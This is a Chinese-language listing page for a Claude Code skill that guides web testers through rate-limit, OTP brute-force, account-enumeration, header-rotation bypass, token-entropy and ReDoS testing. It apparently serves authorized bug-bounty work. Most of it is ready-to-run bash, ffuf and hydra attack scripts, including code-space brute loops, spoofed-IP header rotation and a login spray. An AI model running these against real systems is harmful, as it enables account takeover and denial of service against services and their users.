关于 hunt-brute-force
hunt-brute-force 是用于评估速率限制、暴力破解防护及账户或令牌枚举的 Web 安全测试技能。它指导测试人员区分不同的限流行为,并确认可达影响以减少误报。
主要功能
- 01速率限制状态分类
- 02OTP 与重置令牌测试
- 03登录账户枚举检查
- 04基于 IP 的限流绕过评估
- 05ReDoS 检测方法
- 06影响与误报验证
适用场景
- 01测试 OTP 验证防护
- 02检查密码重置令牌控制
- 03比较有效与无效账户的响应
- 04评估优惠码验证的速率限制
安装
复制下面的命令,在终端中运行。
$
npx skills add https:/ / github.com/ uphiago/ recon-skills --skill hunt-brute-force安装后在 Claude Code 中输入/hunt-brute-force确认已加载。
详细介绍
HUNT-BRUTE-FORCE — 速率限制 / 暴力破解 / 枚举
依据说明:此技能基于已公开的技术类别,而非经过筛选的 HackerOne 报告集合。
report_count有意设为0—— 请勿引用无法核实的确切赏金金额或报告 ID。下文会提及有充分公开记录的案例(例如 Laxman Muthiyah 于 2019–2021 年对 Instagram 密码重置 OTP 竞态条件/轮换机制的研究),将其作为技术参考,而非赏金声明。
核心目标
OTP 暴力破解(6 位数字,共 1,000,000 种组合)且没有有效的速率限制 = 可绕过关键账户接管(ATO)防护。
价值最高的攻击链:
- OTP / 2FA 暴力破解 → 绕过 MFA → ATO —
/verify-otp没有有效的速率限制,可遍历 000000–999999 的全部密钥空间 - 密码重置令牌暴力破解 — 短小/可预测/永不过期的令牌 + 无速率限制 → ATO(Instagram 2019 年案例结合了 6 位数重置码、按请求来源无速率限制以及 IP 轮换,使遍历 10^6 种组合变得可行)
- 用户名/邮箱枚举 → 定向凭据填充攻击 — 可根据响应字符串、状态码或时序区分有效与无效信息,再使用泄露数据集进行批量尝试
- 优惠券/礼品卡/推荐码暴力破解 — 验证代码时没有速率限制 → 造成财务损失
- ReDoS — 攻击者控制的输入触发灾难性回溯正则表达式 → CPU 耗尽 → DoS
关键:四种速率限制状态——不可混为一谈
200/401 且没有 429,并不意味着“没有速率限制”。只检查 429/锁定状态的速率限制
技能会产生假阴性。在得出结论之前,先发送约 50 个请求对防御进行分类,并观察
完整响应(状态、正文、标头、延迟和下游成功情况):
| 状态 | 信号 | 仍可暴力破解? |
|---|---|---|
| 硬性账户锁定 | 失败 N 次后账户被禁用;之后即使使用正确凭据也会失败 | 否(但锁定本身可能构成 DoS 漏洞) |
| 软性 IP 限流 | 429/基于源 IP 的延迟增加 | 是——可通过标头/IP 轮换绕过(第 4 阶段) |
| 注入 CAPTCHA | 200,但达到 N 次后正文切换为 CAPTCHA 挑战 | 可能——检查验证端点是否在服务端强制执行,或 API 路径是否跳过 CAPTCHA |
| 静默影子限流 | 每个请求都返回 200/401,但提交会被丢弃——真正正确的 OTP/密码不再被接受,或响应变成固定内容 | 这是陷阱。 粗略的循环会看到“全部为 200,没有 429”,并报告“没有速率限制”——这是错误结论。 |
影子限流检测器——在已知位置注入一个已知有效的值,并确认其在负载下仍然有效:
# Seed: position 500 in the brute set is the REAL OTP for your own test account.
# If the loop reaches 500 and the correct code no longer authenticates,
# the endpoint is silently throttling/dropping — NOT unprotected.
KNOWN_GOOD="123456" # the actual current OTP for YOUR test account
for n in $(seq 0 600); do
CODE=$([ "$n" = "500" ] && echo "$KNOWN_GOOD" || printf "%06d" "$n")
CODE_RESP=$(curl --max-time 30 --connect-timeout 10 -s -o /tmp/bf_body -w "%{http_code} %{time_total}" \
-X POST "https://$TARGET/api/verify-otp" \
-H "Content-Type: application/json" -H "Cookie: $SESSION_COOKIE" \
-d "{\"otp\":\"$CODE\"}")
echo "$n $CODE $CODE_RESP $(wc -c </tmp/bf_body)"
done
# Three columns to watch: status, time_total, body size.
# Rising time_total or a body-size change with status unchanged = shadow throttle.
分步测试方法
第 1 阶段 — 登录速率限制测试(进行分类,而非只统计 429)
# Send a burst and log status + latency + body length for EACH attempt.
for i in $(seq 1 50); do
read CODE TIME < <(curl --max-time 30 --connect-timeout 10 -s -o /tmp/bf_l -w "%{http_code} %{time_total}\n" \
-X POST "https://$TARGET/api/login" \
-H "Content-Type: application/json" \
-d "{\"username\":\"test@$TARGET\",\"password\":\"wrong$i\"}")
echo "Attempt $i: status=$CODE time=${TIME}s len=$(wc -c </tmp/bf_l)"
sleep 0.1
done
# Then CLASSIFY against the 4-state table above. Watch for:
# - status flips to 429 / 403 → soft throttle or lockout
# - body grows / CAPTCHA token appears → CAPTCHA injection
# - latency climbs while status stays 401 → shadow throttle
# - genuinely nothing changes across all 50 → candidate "no rate limit" (confirm w/ Phase 2 seed)
第 2 阶段 — OTP / 2FA 暴力破解
# PRE-REQUISITE: a valid session that is pending OTP verification (your own test account).
SESSION_COOKIE="pre-auth-session-after-first-factor"
# ---- 2a. PoC probe: send 101 codes (seq 0..100 is INCLUSIVE = 101 values) ----
# This ONLY proves the endpoint accepts repeated attempts without 429/lockout.
# It does NOT prove the full 10^6 keyspace is brute-forcible — see 2b.
for CODE in $(seq -f "%06g" 0 100); do
RESP=$(curl --max-time 30 --connect-timeout 10 -s -X POST "https://$TARGET/api/verify-otp" \
-H "Content-Type: application/json" -H "Cookie: $SESSION_COOKIE" \
-d "{\"otp\":\"$CODE\"}" -o /dev/null -w "%{http_code}")
echo "$CODE: $RESP"
[ "$RESP" = "429" ] && { echo "Rate limit at $CODE"; break; }
done
# 101 attempts with no 429/lockout → endpoint is a candidate. NOW run the shadow-throttle
# seed test (above) before claiming "no rate limit". A clean probe is necessary, not sufficient.
# ---- 2b. Full-keyspace impact proof (only with explicit authorization + your own account) ----
# Severity rests on 10^6 being REACHABLE, not on 101 codes. Demonstrate tractability:
# - keyspace = 10^6 ; observed throughput from 2a (req/s) ; expected hit at ~half keyspace.
# - e.g. 50 req/s sustained → ~10^6 / 50 ≈ 5.5 hours worst case, ~2.8h expected. That IS the impact.
# - If a code rotates every T seconds, the real bound is (req/s * T) attempts per window.
# Brute is only viable if (throughput * code_lifetime) approaches the keyspace, OR if the
# code does NOT rotate / reset is unlimited (the Instagram-2019 class).
# Report the math; do NOT actually exhaust 10^6 against a third party.
第 3 阶段 — 用户名/邮箱枚举(字符串、状态和时序都要检查)
VALID_USER="known-user@$TARGET"
INVALID_USER="definitely-not-real-xyz123@$TARGET"
# String + status diff
for U in "$VALID_USER" "$INVALID_USER"; do
curl --max-time 30 --connect-timeout 10 -s -o /tmp/bf_e -w "[$U] status=%{http_code} time=%{time_total}s len=%{size_download}\n" \
-X POST "https://$TARGET/api/login" -H "Content-Type: application/json" \
-d "{\"email\":\"$U\",\"password\":\"wrongpassword\"}"
done
diff <(curl --max-time 30 --connect-timeout 10 -s -X POST "https://$TARGET/api/login" -H 'Content-Type: application/json' \
-d "{\"email\":\"$VALID_USER\",\"password\":\"wrong\"}") \
<(curl --max-time 30 --connect-timeout 10 -s -X POST "https://$TARGET/api/login" -H 'Content-Type: application/json' \
-d "{\"email\":\"$INVALID_USER\",\"password\":\"wrong\"}")
# Different message/status/len → enumeration.
# Timing oracle (valid users hash the password, invalid users short-circuit → measurable delta).
# Sample MANY times and compare medians — a single request is noise, not signal.
echo "VALID timings:"; for i in $(seq 1 30); do curl --max-time 30 --connect-timeout 10 -s -o /dev/null -w "%{time_total}\n" \
-X POST "https://$TARGET/api/login" -H 'Content-Type: application/json' \
-d "{\"email\":\"$VALID_USER\",\"password\":\"wrong\"}"; done | sort -n | awk '{a[NR]=$1}END{print a[int(NR/2)]}'
echo "INVALID timings:"; for i in $(seq 1 30); do curl --max-time 30 --connect-timeout 10 -s -o /dev/null -w "%{time_total}\n" \
-X POST "https://$TARGET/api/login" -H 'Content-Type: application/json' \
-d "{\"email\":\"$INVALID_USER\",\"password\":\"wrong\"}"; done | sort -n | awk '{a[NR]=$1}END{print a[int(NR/2)]}'
# A reproducible median delta (e.g. valid ~180ms vs invalid ~40ms) is a timing-based enum finding.
# Reset + registration enumeration
curl --max-time 30 --connect-timeout 10 -s -X POST "https://$TARGET/forgot-password" -d "email=$VALID_USER" | grep -i "sent\|exist\|not found\|registered"
curl --max-time 30 --connect-timeout 10 -s -X POST "https://$TARGET/forgot-password" -d "email=$INVALID_USER" | grep -i "sent\|exist\|not found\|registered"
curl --max-time 30 --connect-timeout 10 -s -X POST "https://$TARGET/api/register" -d "email=$VALID_USER" | grep -i "exist\|taken\|already"
第 4 阶段 — IP/来源轮换绕过
# Per-IP limits are bypassable when the app trusts a client-controlled source header.
# Rotate the header EVERY request; if the 429 you hit in Phase 1 disappears → broken limit.
HEADERS=( "X-Forwarded-For" "X-Real-IP" "X-Originating-IP" "X-Client-IP" \
"X-Remote-IP" "X-Forwarded" "Forwarded-For" "CF-Connecting-IP" "True-Client-IP" )
for i in $(seq 1 60); do
RAND_IP="$(shuf -i 1-254 -n1).$(shuf -i 1-254 -n1).$(shuf -i 1-254 -n1).$(shuf -i 1-254 -n1)"
ARGS=(); for h in "${HEADERS[@]}"; do ARGS+=(-H "$h: $RAND_IP"); done
RESP=$(curl --max-time 30 --connect-timeout 10 -s "${ARGS[@]}" -X POST "https://$TARGET/api/login" \
-H "Content-Type: application/json" \
-d "{\"email\":\"test@$TARGET\",\"password\":\"wrong$i\"}" -o /dev/null -w "%{http_code}")
echo "Attempt $i (IP $RAND_IP): $RESP"
done
# Also try: multiple comma-joined XFF values ("[REDACTED_IP], [REDACTED_IP]"), and appending your real IP
# AFTER a spoofed one — some parsers take first, some last.
# CONFIRM the bypass: re-run Phase 1 WITHOUT rotation to show the 429 returns. The delta is the proof.
第 5 阶段 — 令牌熵(进行测量,不要凭直觉判断)
# Collect reset/session/OTP tokens for YOUR OWN test account, then quantify entropy.
for i in $(seq 1 20); do
curl --max-time 30 --connect-timeout 10 -s -X POST "https://$TARGET/forgot-password" -d "[email protected]"
# Extract token from the email/link and append to tokens.txt
sleep 2
done
# 1) Shannon entropy / compressibility — low entropy = predictable:
ent tokens.txt 2>/dev/null || \
python3 -c "import sys,math,collections;d=open('tokens.txt').read();c=collections.Counter(d);n=len(d);\
print('bits/char =', -sum(v/n*math.log2(v/n) for v in c.values()))"
# 2) If tokens are hex/base64, decode and look for structure (timestamp, counter, PID):
while read t; do echo -n "$t -> "; echo -n "$t" | xxd -r -p 2>/dev/null | xxd | head -1; done < tokens.txt
# 3) Sequential / time-correlated test — sort and diff consecutive numeric tokens:
sort -n tokens.txt | awk 'NR>1{print $1-prev} {prev=$1}' # constant/small delta = counter-based
# 4) DEFINITIVE: pipe ~10k tokens through Burp Sequencer (Live capture on the reset
# response) — it runs FIPS/NIST randomness tests and reports effective bits of entropy.
# < ~64 effective bits on a security token is a finding; the brute-window math follows.
第 6 阶段 — ReDoS 检测
# Hit input-validation / search endpoints with catastrophic-backtracking payloads.
# Classic evil-regex triggers (nested quantifier / overlapping alternation):
for LEN in 5 10 15 20 25 30; do
INPUT=$(python3 -c "print('a'*$LEN + '!')") # for (a+)+$ / (a|a)*$ style regex
T=$(curl --max-time 30 --connect-timeout 10 -s -o /dev/null -w "%{time_total}" "https://$TARGET/search?q=$INPUT")
echo "len=$LEN -> ${T}s"
done
# Other payload shapes to try by field: email regex → "a@"+"a"*N ; URL regex → "http://"+"a"*N
# DOUBLING latency per +5 chars (super-linear) = ReDoS. Linear growth = just a slow endpoint, NOT a bug.
# Confirm with a control: send the same byte-length of a BENIGN string; if it returns fast, the
# blow-up is regex-driven, not size-driven.
自动化
# ---- ffuf: OTP brute ----
# PoC probe (101 codes) — proves acceptance, NOT full keyspace. Note the inclusive seq.
ffuf -u "https://$TARGET/api/verify-otp" -X POST \
-H "Content-Type: application/json" -H "Cookie: session=SESSION" \
-d '{"otp": "FUZZ"}' \
-w <(seq -f "%06g" 0 100) \
-mc all -ac \
-rate 50 # cap throughput so YOU can read the rate-limit response, not DoS the target
# FULL keyspace (authorized + your own account only) — generate all 10^6 codes:
# seq -f "%06g" 0 999999 > /tmp/otp_full.txt (then -w /tmp/otp_full.txt)
# Use -mc all + -ac so ffuf auto-calibrates and you SEE 429/403/CAPTCHA responses instead of
# filtering them out. -mc 200 alone hides throttling — never brute with -mc 200 only.
# Add -p 0.1 jitter and watch the Errors/RateLimited counters; stop if the success oracle stops firing.
# ---- hydra: login spray ----
hydra -l [email protected] -P ~/wordlists/top-1000.txt "$TARGET" \
http-post-form "/api/login:email=^USER^&password=^PASS^:Invalid" -t 4
# ---- nuclei: rate-limit / default-cred templates ----
nuclei -u "https://$TARGET" -t http/fuzzing/ -t http/default-logins/ -severity medium,high,critical
攻击链表
| 漏洞发现 | 攻击链 | 影响 |
|---|---|---|
| OTP 没有有效的速率限制(全部 10^6 种组合均可尝试) | 绕过 MFA → ATO | 严重 |
| 密码重置码暴力破解 + IP 轮换 | 重置 → ATO(Instagram 2019 年案例类型) | 严重 |
| 登录没有速率限制 + 可枚举账户 | 使用泄露数据集进行凭据填充攻击 | 高 |
| 通过 X-Forwarded-For 等方式绕过 IP 限制 | 可绕过应用中所有按 IP 设置的限制 | 高 |
| 可预测/低熵重置令牌 | 在有效期内猜出令牌 → ATO | 高 |
| 公共输入字段存在 ReDoS | 单个请求即可耗尽 CPU → DoS | 中–高 |
| 攻击者可触发硬性锁定 | 定向账户 DoS(锁定受害者账户) | 中 |
验证 — 严格排除误报
撰写报告前,必须满足以下各项:
- OTP/登录“无限速”:必须针对全部四种状态确认,而不只是确认没有
429。 影子限流种子测试已通过(已知有效值在突发负载下仍可完成认证)。 监测了延迟和响应体大小,而不只是状态码。 - 完整密钥空间的说法:严重程度应由可达性计算(吞吐量 × 代码有效期与 10^6 的对比)来佐证,而不是依据 101 个代码的探测结果。报告中应写明具体数字。
- 枚举:差异须能在 ≥20 个样本中复现,并且是服务端状态差异(有效用户与无效用户),而非服务端策略造成的假象(例如,笼统的“如果存在此邮箱,我们已发送……”消息不算枚举)。对于时间分析,应比较大量样本的中位数,绝不能只比较单次请求。
- IP 轮换绕过:关闭轮换并证明
429会重新出现。这个变化才是证据;单次快速运行并不足以证明。 - 令牌熵:须有实际测量结果作为依据(Burp Sequencer 有效位数、
ent,或已证明的计数器/时间戳结构),不能仅凭“看起来很短”。 - ReDoS:须与良性对照进行比较,并证明延迟呈超线性增长(翻倍);线性增长 ≠ ReDoS。
- 范围/影响:是否造成了真实结果(已认证会话、账户列表泄露、DoS)?如果限流缺口没有可实现的影响,则属于信息级,而非中危。
严重程度:
- OTP/MFA/重置码可被有效暴力破解 → 已证实的账户接管(ATO)路径:严重
- 登录没有限流 + 凭据填充/IP 绕过有效:高危
- 安全令牌可预测(测得熵值低):高危
- 仅用户名/邮箱枚举:低危–中危
- 可复现且会造成显著服务端延迟的 ReDoS:中危–高危
- 攻击者可触发账户硬锁定(账户 DoS):中危
验证
运行此自检,以确认暴力破解准备情况:
-
FFUF 限速测试 — 验证 ffuf 的限速功能: 通过:可使用 ffuf 限速
-
时间分析 — 验证统计分析: 失败
-
字典可用性 — 确认密码列表: 通过:已提供 SecLists
这 3 项测试用于验证暴力破解探测准备情况。
注意事项
- 测试时未考虑限流 — 不带
-rate和-t标志进行暴力破解,会触发账户锁定和 IP 封禁。务必先采用保守设置进行测试。 - 只测试单个账户 — 对自己的测试账户进行暴力破解并不能证明任何问题。需要两个账户,才能证明该攻击对受害者有效。
- 仅以 HTTP 状态码作为判断依据 — 200 与 403 的差异可能会误导。务必比较响应体;某些应用对有效与无效凭据都返回 200,但内容不同。
- 仅以响应时间作为证据 — 单样本的时间差异只是抖动。每组需要进行 n>=10 次交错试验,并采用 2-sigma 阈值。
- 未记录锁定策略 — 如果目标在尝试 N 次后会锁定账户,应将其记录下来。存在锁定机制时进行暴力破解,风险高、收益低。
- 未测量令牌熵却声称其可预测 — 声称令牌可预测,必须有实际测量结果(Burp Sequencer 有效位数、ent,或已证明的计数器/时间戳结构)。
相关技能
hunt-ato—— 暴力破解绕过 OTP/MFA 是实现账户接管(ATO)的直接路径。原语链:/verify-otp没有速率限制 + 6 位密钥空间(10^6)→ 攻击者在验证码有效期内枚举 OTP → 以受害者身份通过身份验证 → 无需密码即可完全接管账户。hunt-mfa-bypass—— 暴力破解 6 位 OTP 是 7 种 MFA 绕过模式之一(模式 #4)。原语链:OTP 验证端点允许重复尝试且没有速率限制 + 验证码由 6 位数字组成 → 暴力破解 000000–999999 → 绕过 MFA → 账户接管(ATO)。hunt-auth-bypass—— 密码重置或电子邮件验证端点存在速率限制漏洞,会形成身份验证绕过链。原语链:/password-reset令牌端点没有速率限制 + 数字令牌较短 → 在令牌有效期内暴力破解重置令牌 → 无需用户交互即可接管账户。hunt-http-smuggling—— HTTP/2 Rapid Reset(CVE-2023-44487)是另一种类型的速率限制绕过:在服务器计数前重置流。可交叉参考通过协议级摊销绕过基于请求的速率限制。hunt-business-logic—— 优惠券、礼品卡和推荐码的暴力破解属于业务逻辑中的速率限制漏洞。原语链:结账时的优惠券验证没有速率限制 → 攻击者根据已知前缀枚举有效优惠券代码 → 每次购买都可享受无限折扣。hunt-llm-ai—— 带有“忘记密码”功能的大模型登录表单,后端可能存在不可见的速率限制漏洞。原语链:AI 聊天机器人接受电子邮件输入以重置密码 → 后端重置端点没有速率限制 → 暴力破解令牌 → 通过 AI 功能接管账户(ATO)。security-arsenal—— 使用速率限制绕过表(X-Forwarded-For 轮换标头、X-Real-IP、X-Client-IP、CF-Connecting-IP、逗号分隔的 IP 链、null-origin SANDBOXED iframe)和 HTTP/2 多路复用绕过方法。triage-validation—— 报告前应用 7 问门槛。只有在能够证明暴力破解最终能获取什么(已通过身份验证的会话、已验证的 OTP、密码重置、财务折扣)时,速率限制漏洞才构成发现。若没有凭证填充攻击或有效账户列表,登录速率限制漏洞可能仅供参考。确认影响,而不只是确认漏洞。password-spray-methodology—— 适用于所有协议的通用密码喷洒流程 + 错误代码差异
评论
支持 Markdown